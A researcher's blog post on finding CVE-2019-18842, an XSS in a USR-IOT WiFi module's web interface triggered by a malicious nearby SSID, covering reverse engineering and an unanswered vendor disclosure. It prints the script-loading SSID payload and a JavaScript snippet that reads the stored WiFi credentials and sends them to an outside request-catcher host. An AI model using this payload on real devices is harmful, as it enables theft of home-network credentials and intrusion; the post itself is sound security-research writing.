The story how I found my first CVE

TL;DR / CVE description

A cross-site scripting (XSS) vulnerability in the configuration web interface of the Jinan USR IOT USR-WIFI232-S/T/G2/H Low Power WiFi Module with web version 1.2.2 allows attackers to leak credentials of the Wi-Fi access point the module is logged into, and the web interface login credentials, by opening a Wi-Fi access point nearby with a malicious SSID.

CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18842
36C3 lightning talk: https://media.ccc.de/v/36c3-10525-lightning_talks_day_3#t=4952

Intro

One day I walked along the electronics shelve of a supermarket, looking for a multiple sockets plug. But something other catched my eyes: A "smart" iot power plug, which promised, I could "control it from all around the world". I didn't doubt it, but the really interesting question was: Who else is able control my iot power plug? So I brought it to find out...

First steps

First we added a git repository and collaborative pad for documentation to collect the information we found. This is really important to not start searching for links, datasheets, etc. every time your work at the project.
Now we started reading the manual, downloading the control app and tried to get it work. This was hard enough, because the app is from 2015, the instruction manual is bad and the control is non-intuitive.
It was like "How many hackers do you need to connect an iot device?", but finally it worked, we were able to control the power plug via smart phone.

Communication protocol(s)

We were interested in the module's communication, in special to understand, what and how it communicates. So the obvious solution was, to open a Wi-Fi network and record the traffic with wireshark.
We recognized, it uses a self-written unencrypted protocol for communication, so we wrote a simple python script to analyze the protocol. Maybe later more on this...

Reverse engineering

Of cause we were also interested in reverse engineering the software running, so we disassembled the power plug. It consisted of a power electronics PCB and a USR232-T UART WiFi module. As the power electronics are not relevant for us, we concentrated on the module, searched for a datasheet and dumped the flash image.
While dumping the flash image, we saw some javascript flying trough the terminal console, so one of us complained "There is javascript in my power plug!" - of cause nothing you expect or want to have running on your power plug.

First approach was looking with strings -n 5 at the flash image - and there we realized our mistake: We saw some input generated by us, for example the SSID and password of the Wi-Fi access point we connect the power plug to so we already influenced the flash image - Always dump the raw firmware first before interacting with your hard- or software!
And what we also realized: The credentials are stored in plain text?! WTF!

When reverse engineering a software it is always a nice and simple entry point to start with looking at the strings. Also look for log functions, something like log("SSID: %s", somevar) is extremely helpful, as you can directly rename somevar to "SSID" and get a fast understanding of what the code is doing.Relatively fast we found out, that security not seems to be a relevant point: A lot of sprintf() was used, probably some buffer overflows to find here...

But what we really wanted to find was the javascript code. The datasheet also mentions a configuration web interface, the module provides. And just searching strings for < did the trick: They really build html stuff inside the C code! But can't find this configuration web interface running at port 80 of our power plug. So maybe it is switched off? We ordered a "raw" USR232-T module from china, waited 60 days, it got lost on transportation, we waited an other 60 days... Hassles when ordering from China :(
But back to the technical details:

CVE-2019-18842

Interesting, they are building a list with SSIDs of nearby access points, so the user can click one and connect the module to another Wi-Fi network. Hm... seems like we have user controlled input inside their HTML code...
Do you already have an idea about the bug or exploit?

xss_code

Correct, cross site scripting via SSID of WiFi network we spawn nearby! So it also is an unauthenticated XSS, you do not even have to be in the same WiFi network as the module is!

"Just another meaningless XSS" one might think, but it has a bigger impact, than recognized in the first moment: It is possible to call every JavaScript function in the web interface code and access every site in there without further authorization. So we are able to write and read the modules configuration via XSS. The most interesting target is to read the WiFi credentials of the network the module is logged in, so we are able to gain access to the owner's home network, which can be used for further exploitation.
For more complex exploits it is necessary to load more JavaScript code from extern, this is done by setting <script src=//mydomain.com> as SSID. At this doamin a simple python webserver is running, which serves the following (shitty, but working) JavaScript code:

function httpGet(theUrl)
{
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", theUrl, false );
    xmlHttp.send( null );
    return xmlHttp.responseText;
}


let wireless_html = httpGet('/wireless_en.html');
let position = wireless_html.search('var sta_setting_ssid = ');
let wifi_creds = wireless_html.substring(position, position + 200);
httpGet('https://harryr.requestcatcher.com/' + wifi_creds);

The above code carries out a HTTP GET request to the configuration page, which contains the WiFi credentials and appends it to another HTTP reuest to something.requestcatcher.com, where we can comfortably see our exfiltrated data.
We successfully exfiltrated the private WiFi credentails of the module's owner!

Further possible exploits

Possible other utilization of the XSS could be:

  • Change web interface login credentials
  • Do a factory reset
  • Pull it over into an own WiFi network
  • Upload new firmware

And currently we are working on POC exploits for these.

In addition, a lot of sprintf calls can be found in the code, which could possibly lead to buffer overflows.
A much bigger impact could be reached by exploiting it remotely, so we will have a closer look at the communication protocol parsers in some time...

Disclosure process

To learn about the theory of disclosure in general, have a look at maride's great blog post on this topic.

As always in a responsible disclosure process it is necessary to contact the vendor - that's the only one who can provide a patch to avoid the vulnerability being exploited (further). The vendor is Jinan USR IOT Technology Limited, a company from Shenzen, China. They only provie a "inquiry@" email address, so we wrote an email there with the information that we found a security issue and asked for a technical contact email address, so we can provide a detailed description and POC exploits.
Unfortunately we didn't receive an answer within one month, so we send another email with the info we want to disclose the CVE and technical details, but renounce from publishing it for some time, if they react within 5 days and are willing to fix the bug. We were hoping this will set some pressure on the vendor to provide a patch as soon as possible.
Unfortunately, we didn't receive any answer, yet...

So we published this blog post and I did a lighning talk on this CVE at 36th Chaos Communication Congress in Leipzig, which can be viewed here.

Thank you!

A big thank you to:

  • jn, who worked on the exploit with me and taugth me a lot of reversing stuff
  • farhaven, who worked on the exploit with me
  • maride, who answered my questions regarding discolsure process
  • CCCAC, which provided tools, a location to work and an email address for disclosure